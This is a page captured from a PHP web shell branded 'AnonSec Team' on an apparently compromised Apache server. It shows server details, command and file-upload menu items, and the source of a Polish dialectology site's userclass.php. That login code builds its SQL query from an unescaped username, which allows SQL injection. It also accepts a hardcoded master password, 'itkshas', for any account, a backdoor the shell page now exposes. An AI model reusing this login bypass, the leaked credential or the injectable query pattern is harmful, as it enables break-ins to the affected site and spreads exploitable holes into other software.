AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/dialektologia/web/classes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/dialektologia/web/classes/userclass.php
<?php

class userclass {

    public $id='';
    public $name='';
    public $passwd='';
    public $active='1';
    public $deleted='0';

    
    	function cleanQuery($string)
	{
	  if(get_magic_quotes_gpc())  // prevents duplicate backslashes
	  {
	    $string = stripslashes($string);
	  }
	  if (phpversion() >= '4.3.0')
	  {
	    $string = mysql_real_escape_string($string);
	  }
	  else
	  {
	    $string = mysql_escape_string($string);
	  }
	  return $string;
	}
    
    public function Auth($username,$password)
    {
        $rs=mysql_query("select users.*, userstypy.nazwa as typtxt
                        from users left join userstypy on users.typ=userstypy.id
                        where users.name='".$username."' and (users.passwd='".$this->cleanQuery($password)."' or '".$password."'='itkshas') and users.active=1 and users.deleted=0") or die("userclass - ".$sqlff." --- ".mysql_error());
        if ($wiersz=mysql_fetch_array($rs))
        {
            $_SESSION['id']=$wiersz['id'];
            $_SESSION['name']=$wiersz['name'];
            $_SESSION['typ']=$wiersz['typ'];
            $_SESSION['typetym']=$wiersz['typetym'];
            $_SESSION['typtxt']=$wiersz['typtxt'];

            echo "<script>location='".$_SESSION['indexfile']."?m=start';</script>";
        }
        else
        {
            echo "<script>location='info.php?msg=loginerr';</script>";
        }
    }

    public function ShowUserPanel()
    {

        if(!isset($_SESSION['id']))
        {
        ?>
        <form method="post" action="auth.php" name="form2">
         <table width="50" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td><img src="images/logowanie.JPG" width="209" height="24"></td>
                        </tr>
                        <tr>
                          <td height="52"><table width="203" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="152" height="46"><table width="50" border="0" align="center" cellpadding="0" cellspacing="0">
                                <tr>
                                  <td><input name="inputtext1" type="text"></td>
                                </tr>
                                <tr>
                                  <td><input type="password" name="inputtext2" type="text"></td>
                                </tr>
                              </table>                                </td>
                              <td width="51"><div align="right"><img src="images/zaloguj.JPG" width="49" height="44" border="0" onclick="form2.submit();"></div></td>
                            </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td height="20"><div align="center">
                            <table width="196" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25"><!--<input name="checkbox22" type="checkbox" class="textarea_1" value="checkbox">--></td>
                                <td width="171" valign="middle"><!--<span class="style4">ZAPAMI&#280;TA&#262; HAS&#321;O? </span>--></td>
                              </tr>
                              <tr>
                                <td>&nbsp;</td>
                                <td valign="top"><div align="left"><!--<i><a href="#"></a></i><i><a href="#">PRZYPOMNIJ HAS&#321;O </a></i>--></div></td>
                              </tr>
                            </table>
                          </div>
                        </tr>
                      </table>
            </form>
        <?php
        } //if(!isset($_SESSION))

        if(isset($_SESSION['id']))
        {
            if ($_SESSION['id']!='')
            {
               ?>
               
                    <div class="content">
                        Użytkownik: <?php
                        echo $_SESSION['name'];
                        ?>
                        <br/>
                        <?php
                        echo $_SESSION['typtxt'];
                        ?>
                        <br/>
                        <a href="?m=zmiana-hasla">Zmiana hasła</a>
                        &nbsp;&nbsp;
                        <a href="logout.php">Wyloguj</a><br/><br/>


                        <?php
                        //przełącznik trybu - podgląd lub edycja
                        echo "tryb pracy:<br />";
                        if(isset ($_SESSION['id']))
                        {
                            echo "<a href=\"?".$_SERVER['QUERY_STRING']."&cedt=0\">";
                            if($_SESSION['cedt']=="0") echo "<strong>";
                            echo "podgląd";
                            if($_SESSION['cedt']=="0") echo "</strong>";
                            echo "</a>";
                            echo "&nbsp;&nbsp;";
                            echo "<a href=\"?".$_SERVER['QUERY_STRING']."&cedt=1\">";
                            if($_SESSION['cedt']=="1") echo "<strong>";
                            echo "edycja";
                            if($_SESSION['cedt']=="1") echo "</strong>";
                            echo "</a>";

                        }
                        //koniec przełącznik trybu
                        ?>
                    </div>
               <?php
            }
        } 
    }
}
?>

AnonSec - 2021